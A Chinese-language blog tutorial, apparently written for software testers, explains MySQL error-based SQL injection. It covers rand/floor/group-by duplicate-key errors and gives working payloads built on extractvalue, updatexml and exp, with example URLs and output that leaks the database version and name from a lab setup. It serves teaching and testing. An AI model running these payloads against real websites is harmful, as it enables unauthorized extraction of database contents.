报错注入主要是利用MySQL本身的逻辑漏洞,例如BigInt大数溢出。
MySQL报错注入分类
-
BigInt数据类型溢出 -
Xpath语法错误 -
count+rand+group by重复报错 -
空间数据类型函数错误
rand函数说明
rand(n)函数返回一个随机浮点数v,返回范围是0<=v<1,n是可选参数,如果提供则会设定n为一个生成随机数的种子。
如果传递的参数n是一样的,则生成的随机数也是一致的。
rand函数在每一次where语句条件判断时都会重新执行,当使用group by语句对rand函数计算的列进行分组时就就会触发报错,因为通过rand计算后不是一个常量但是又和group by进行联合调用时就有可能出现主键冲突报错。
函数验证
##rand函数在不传递参数时返回数据是随机的
mysql> select rand() from test; ? ? ? ? ? ? ? ?
+--------------------+
| rand() ? ? ? ? ? ? |
+--------------------+
| 0.4824731373064901 |
| 0.4225388080091577 |
| 0.6652746588599632 |
+--------------------+
3 rows in set (0.00 sec)
?
mysql> select rand() from test;
+---------------------+
| rand() ? ? ? ? ? ? |
+---------------------+
| 0.05875690100598792 |
| 0.29796055918369496 |
| 0.31353212363415595 |
+---------------------+
3 rows in set (0.00 sec)
?
mysql> select rand() from test;
+---------------------+
| rand() ? ? ? ? ? ? |
+---------------------+
| ? ?0.67377897135334 |
| ?0.4282985165978768 |
| 0.12015569966300922 |
+---------------------+
3 rows in set (0.00 sec)
?
mysql>
##当传递一个参数作为种子产生随机数时,重复执行产生的随机数是一致的
mysql> select rand(0) from test;
+---------------------+
| rand(0) ? ? ? ? ? ? |
+---------------------+
| 0.15522042769493574 |
| ? 0.620881741513388 |
| ?0.6387474552157777 |
+---------------------+
3 rows in set (0.00 sec)
?
mysql> select rand(0) from test;
+---------------------+
| rand(0) ? ? ? ? ? ? |
+---------------------+
| 0.15522042769493574 |
| ? 0.620881741513388 |
| ?0.6387474552157777 |
+---------------------+
3 rows in set (0.00 sec)
?
mysql> select rand(0) from test;
+---------------------+
| rand(0) ? ? ? ? ? ? |
+---------------------+
| 0.15522042769493574 |
| ? 0.620881741513388 |
| ?0.6387474552157777 |
+---------------------+
3 rows in set (0.00 sec)
floor函数说明
floor(x)函数返回不大于x的最大整数。
##floor函数返回随机数的整数
mysql> select floor(rand()*2) from test; ?
+-----------------+
| floor(rand()*2) |
+-----------------+
| ? ? ? ? ? ? ? 0 |
| ? ? ? ? ? ? ? 0 |
| ? ? ? ? ? ? ? 0 |
+-----------------+
3 rows in set (0.00 sec)
?
mysql> select floor(rand()*2) from test;
+-----------------+
| floor(rand()*2) |
+-----------------+
| ? ? ? ? ? ? ? 0 |
| ? ? ? ? ? ? ? 1 |
| ? ? ? ? ? ? ? 1 |
+-----------------+
3 rows in set (0.00 sec)
?
mysql> select floor(rand()*2) from test;
+-----------------+
| floor(rand()*2) |
+-----------------+
| ? ? ? ? ? ? ? 1 |
| ? ? ? ? ? ? ? 0 |
| ? ? ? ? ? ? ? 1 |
+-----------------+
3 rows in set (0.00 sec)
##如果rand函数传递参数则多次调用生成的随机数是相同的。
mysql> select floor(rand(0)*2) from test;
+------------------+
| floor(rand(0)*2) |
+------------------+
| ? ? ? ? ? ? ? ?0 |
| ? ? ? ? ? ? ? ?1 |
| ? ? ? ? ? ? ? ?1 |
+------------------+
3 rows in set (0.00 sec)
?
mysql> select floor(rand(0)*2) from test;
+------------------+
| floor(rand(0)*2) |
+------------------+
| ? ? ? ? ? ? ? ?0 |
| ? ? ? ? ? ? ? ?1 |
| ? ? ? ? ? ? ? ?1 |
+------------------+
3 rows in set (0.00 sec)
?
mysql> select floor(rand(0)*2) from test;
+------------------+
| floor(rand(0)*2) |
+------------------+
| ? ? ? ? ? ? ? ?0 |
| ? ? ? ? ? ? ? ?1 |
| ? ? ? ? ? ? ? ?1 |
+------------------+
3 rows in set (0.00 sec)
count+rand+group by报错注入说明
select count(*),floor(rand(0)*2) as x from test group by x;
mysql> select *from test;
+------+-------+
| id ? | name |
+------+-------+
| ? ?1 | test1 |
| ? ?0 | test2 |
| ? ?1 | test3 |
| ? ?1 | test4 |
+------+-------+
mysql> select floor(rand(0)*2) as x from test;
+---+
| x |
+---+
| 0 |
| 1 |
| 1 |
| 0 |
+---+
?
mysql> select count(*),floor(rand(0)*2) as x from test group by x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
报错原理解析
语句使用count+gruop by进行分组统计时是会新建一张虚拟表,首先查询虚拟表是否存在主键为0的数据,第一次插入数据肯定是不存在的,执行插入由于插入时rand函数会重新计算此时实际插入的主键是1,第二次查询主键1数据是否存在时,查询为存在则直接+1,第三次还是查询主键1,主键一存在执行插入,插入时再次计算主键变为0,此时插入就会报Duplicate entry主键冲突错误。
如下所示,rand(0)报错和rand(3)不报错
mysql> select floor(rand(3)*2) from test; ? ? ? ? ? ? ? ? ? ? ?
+------------------+
| floor(rand(3)*2) |
+------------------+
| ? ? ? ? ? ? ? ?1 |
| ? ? ? ? ? ? ? ?0 |
| ? ? ? ? ? ? ? ?0 |
| ? ? ? ? ? ? ? ?1 |
| ? ? ? ? ? ? ? ?1 |
+------------------+
5 rows in set (0.00 sec)
?
mysql> select floor(rand(0)*2) from test; ?
+------------------+
| floor(rand(0)*2) |
+------------------+
| ? ? ? ? ? ? ? ?0 |
| ? ? ? ? ? ? ? ?1 |
| ? ? ? ? ? ? ? ?1 |
| ? ? ? ? ? ? ? ?0 |
| ? ? ? ? ? ? ? ?1 |
+------------------+
5 rows in set (0.00 sec)
?
mysql> select count(*),floor(rand(3)*2) x from test group by x;
+----------+---+
| count(*) | x |
+----------+---+
| ? ? ? ?4 | 0 |
| ? ? ? ?1 | 1 |
+----------+---+
2 rows in set (0.00 sec)
?
mysql> select count(*),floor(rand(0)*2) x from test group by x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
mysql>
extractvalue函数报错注入说明
EXTRACTVALUE (XML_document, XPath_string):从目标XML中返回包含所查询值的字符串。XML_document是String格式,为XML文档对象的名称XPath_string (Xpath格式的字符串)返回结果为连接参数产生的字符串。
说明:extractvalue函数中如果没有按要求传入Xpath格式的字符串,函数就会报错,报错时MySQL会先将select @@version替换成具体的值从而爆出数据库的名称。
注入playload为:0 and extractvalue(1,concat(0x7e,(select @@version)))
http://test.com/get?id='x' and extractvalue(1,concat(0x7e,(select @@version)))
mysql> select *from test where id =0 and extractvalue(1,concat(0x7e,(select @@version))); ?
ERROR 1105 (HY000): XPATH syntax error: '~5.5.47-0ubuntu0.14.04.1'
mysql>
updatexml函数报错注入说明
UPDATEXML (XML_document, XPath_string, new_value)函数XML_document是String格式,为XML文档对象的名称,文中为Doc XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。 new_value,String格式,替换查找到的符合条件的数据 作用:改变文档中符合条件的节点的值说明:updatexml的第二个参数需要Xpath格式的字符串,现在传入concat()函数为字符串连接函数不符合规则,但是MySQL会先将select @@version表达式替换成具体的值,从而爆出数据库的名称。
注入playload为: 'updatexml(1,concat(0x7e,(select @@version)),1) --
http://test.com/get?id='x' and updatexml(1,concat(0x7e,(select @@version)),1)
mysql> select *from test where id =0 and updatexml(1,concat(0x7e,(select @@version)),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.47-0ubuntu0.14.04.1'
mysql>
exp函数报错注入说明
注入playload为:1 and exp(~(select *from (select database())x)) --
说明:~符号为取反,当一个输入取反后悔变成一个非常大的负数就会导致exp函数计算溢出错误。在执行执行语句是MySQL会先将database()表达式替换成具体的值,从而爆出数据库的名称。
http://test.com/get?id='x' and exp(~(select *from (select database())x))
mysql> select *from test where id =1 and exp(~(select *from (select database())x)); ? ?
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'bWAPP' from dual)))'
mysql>
欢迎大家关注我的订阅号,会定期分享一些关于测试相关的文章,有问题也欢迎一起讨论学习!
?
|